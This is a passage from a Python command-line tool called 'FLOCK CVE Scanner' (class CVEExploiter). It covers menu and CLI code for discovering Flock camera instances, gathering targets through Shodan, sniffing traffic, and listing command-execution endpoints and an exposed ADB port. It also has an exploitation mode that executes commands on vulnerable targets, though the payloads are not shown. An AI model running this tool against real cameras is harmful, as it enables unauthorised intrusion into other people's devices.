6. Flock Instance Discovery (scan subnet for fingerprints)
7. Traffic Analysis (cloud vs local station)
8. Traffic Tap — live monitor (requires scapy)
9. Traffic Tap — analyze PCAP file
0. Return
-------------------------------------------------------------
{Colors.END}""")
choice = input(f"{Colors.CYAN}Select option (1-9, 0): {Colors.END}").strip()
# ── 6: Flock Instance Discovery ──
if choice == '6':
cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip()
if not cidr:
return []
print(f"{Colors.YELLOW}Discovery mode does not use CVE scan queue.{Colors.END}")
self.run_discovery(cidr)
input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
return [] # back to menu
# ── 7: Traffic Analysis ──
if choice == '7':
ip = input(f"{Colors.CYAN}Enter camera IP to analyze: {Colors.END}").strip()
if ip:
self.run_traffic_analysis(ip)
input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
return []
# ── 8: Traffic Tap (live) ──
if choice == '8':
if not HAVE_TAP:
print(f"{Colors.RED}Error: flock_tap.py not found or scapy missing. pip install scapy{Colors.END}")
input(f"{Colors.CYAN}Press Enter…{Colors.END}")
return []
iface = input(f"{Colors.CYAN}Interface (e.g., eth0): {Colors.END}").strip()
if not iface:
return []
timeout_s = input(f"{Colors.CYAN}Capture duration in seconds (blank = unlimited): {Colors.END}").strip()
tap_out = input(f"{Colors.CYAN}Save report to file (blank = none): {Colors.END}").strip()
tap = FlockTrafficTap(
interface=iface,
verbose=self.verbose,
output_file=tap_out or None,
timeout=int(timeout_s) if timeout_s else None,
)
tap.start()
tap.report()
input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
return []
# ── 9: Traffic Tap (pcap) ──
if choice == '9':
if not HAVE_TAP:
print(f"{Colors.RED}Error: flock_tap.py not found or scapy missing. pip install scapy{Colors.END}")
input(f"{Colors.CYAN}Press Enter…{Colors.END}")
return []
pcap_file = input(f"{Colors.CYAN}PCAP file path: {Colors.END}").strip()
if not pcap_file or not os.path.exists(pcap_file):
print(f"{Colors.RED}File not found: {pcap_file}{Colors.END}")
input(f"{Colors.CYAN}Press Enter…{Colors.END}")
return []
tap_out = input(f"{Colors.CYAN}Save report (blank = none): {Colors.END}").strip()
tap = FlockTrafficTap(
pcap=pcap_file,
verbose=self.verbose,
output_file=tap_out or None,
)
tap.start()
tap.report()
input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
return []
# ── Original options ──
targets = []
if choice == '1':
ip = input(f"{Colors.CYAN}Enter IP: {Colors.END}").strip()
if ip:
targets.append(ip)
elif choice == '2':
cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip()
try:
import ipaddress
for ip in ipaddress.ip_network(cidr, strict=False).hosts():
targets.append(str(ip))
except Exception as e:
print(f"{Colors.RED}Invalid CIDR: {e}{Colors.END}")
elif choice == '3':
fn = input(f"{Colors.CYAN}Enter filename: {Colors.END}").strip()
try:
with open(fn) as f:
for line in f:
targets.append(line.strip())
except Exception as e:
print(f"{Colors.RED}Error: {e}{Colors.END}")
elif choice == '4':
if not self.shodan_api_key:
self.shodan_api_key = input(f"{Colors.CYAN}Enter Shodan API key: {Colors.END}").strip()
if self.shodan_api_key:
targets = self.get_shodan_targets(self.shodan_api_key)
if targets:
print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}")
else:
print(f"{Colors.YELLOW}No targets found{Colors.END}")
else:
print(f"{Colors.RED}API key required{Colors.END}")
elif choice == '5':
print(f"\n{Colors.CYAN}Falcon/Sparrow Signatures:{Colors.END}")
print(" - HTTP Title: 'Falcon' or 'Sparrow'")
print(" - /api/v1/admin/execute")
print(" - /api/v1/system/exec")
print(" - Port 5555 (ADB)")
print(" - /api/v1/debug")
print(f"{Colors.YELLOW}Requires Shodan or pre-generated targets{Colors.END}")
elif choice == '0':
return []
return targets
def run(self):
self.print_banner()
if self.exploit:
print(f"{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODE ACTIVE{Colors.END}")
print(f"{Colors.YELLOW}This will execute commands on vulnerable targets{Colors.END}")
confirm = input(f"{Colors.RED}Are you sure? (yes/no): {Colors.END}")
if confirm.lower() != 'yes':
print(f"{Colors.YELLOW}Exiting{Colors.END}")
return
while True:
targets = self.generate_targets()
if not targets:
if input(f"{Colors.CYAN}Exit? (y/n): {Colors.END}").lower() == 'y':
break
continue
print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}")
if len(targets) > 100:
print(f"{Colors.YELLOW}Large scan — press Ctrl+C to cancel{Colors.END}")
self.scan_network(targets)
if input(f"{Colors.CYAN}Continue? (y/n): {Colors.END}").lower() != 'y':
break
def main():
parser = argparse.ArgumentParser(description='FLOCK CVE Scanner + Discovery + Traffic Analysis')
parser.add_argument('-t', '--target', help='Single target IP')
parser.add_argument('-f', '--file', help='File with targets')
parser.add_argument('-o', '--output', help='Output file (JSON)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('-T', '--threads', type=int, default=10, help='Number of threads')
parser.add_argument('--timeout', type=int, default=5, help='Connection timeout')
parser.add_argument('--exploit', action='store_true', help='Enable exploitation')
parser.add_argument('--cve', help='Scan specific CVE only')
parser.add_argument('--discover', metavar='CIDR', help='Discover Flock instances in subnet (e.g. 192.168.1.0/24)')
parser.add_argument('--analyze-traffic', metavar='IP', help='Analyze data flow for a camera IP')
parser.add_argument('--tap-interface', metavar='IFACE', help='Traffic Tap: live capture interface')
parser.add_argument('--tap-pcap', metavar='FILE', help='Traffic Tap: PCAP file to analyze')
parser.add_argument('--tap-pipe', action='store_true', help='Traffic Tap: read from stdin')
parser.add_argument('--tap-output', metavar='FILE', help='Traffic Tap: save report to JSON')
args = parser.parse_args()
scanner = CVEExploiter(
verbose=args.verbose,
output_file=args.output,
threads=args.threads,
timeout=args.timeout,
exploit=args.exploit,
)
# CLI shortcut for discovery
if args.discover:
scanner.run_discovery(args.discover)
if args.output:
scanner.save_results()
return
# CLI shortcut for traffic analysis
if args.analyze_traffic:
scanner.run_traffic_analysis(args.analyze_traffic)
if args.output:
scanner.save_results()
return
# CLI shortcut for Traffic Tap
if args.tap_interface or args.tap_pcap or args.tap_pipe:
if not HAVE_TAP:
print(f"{Colors.RED}Error: flock_tap.py not found. Run: pip install scapy{Colors.END}")
sys.exit(1)
tap = FlockTrafficTap(
interface=args.tap_interface,
pcap=args.tap_pcap,
pipe=args.tap_pipe,
verbose=args.verbose,
output_file=args.tap_output or args.output,
)
tap.start()
tap.report()
if args.output:
# Save raw report too
rpt = tap.generate_report()
try:
with open(args.output, 'w') as f:
json.dump(rpt, f, indent=2)
print(f"{Colors.GREEN}Tap report saved to {args.output}{Colors.END}")
except Exception as e:
print(f"{Colors.RED}Error saving: {e}{Colors.END}")
return
if args.target:
targets = [args.target]
scanner.scan_network(targets)
if args.output:
scanner.save_results()
elif args.file:
with open(args.file) as f:
targets = [line.strip() for line in f]
scanner.scan_network(targets)
if args.output:
scanner.save_results()
else:
scanner.run()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}Scan interrupted{Colors.END}")
sys.exit(0)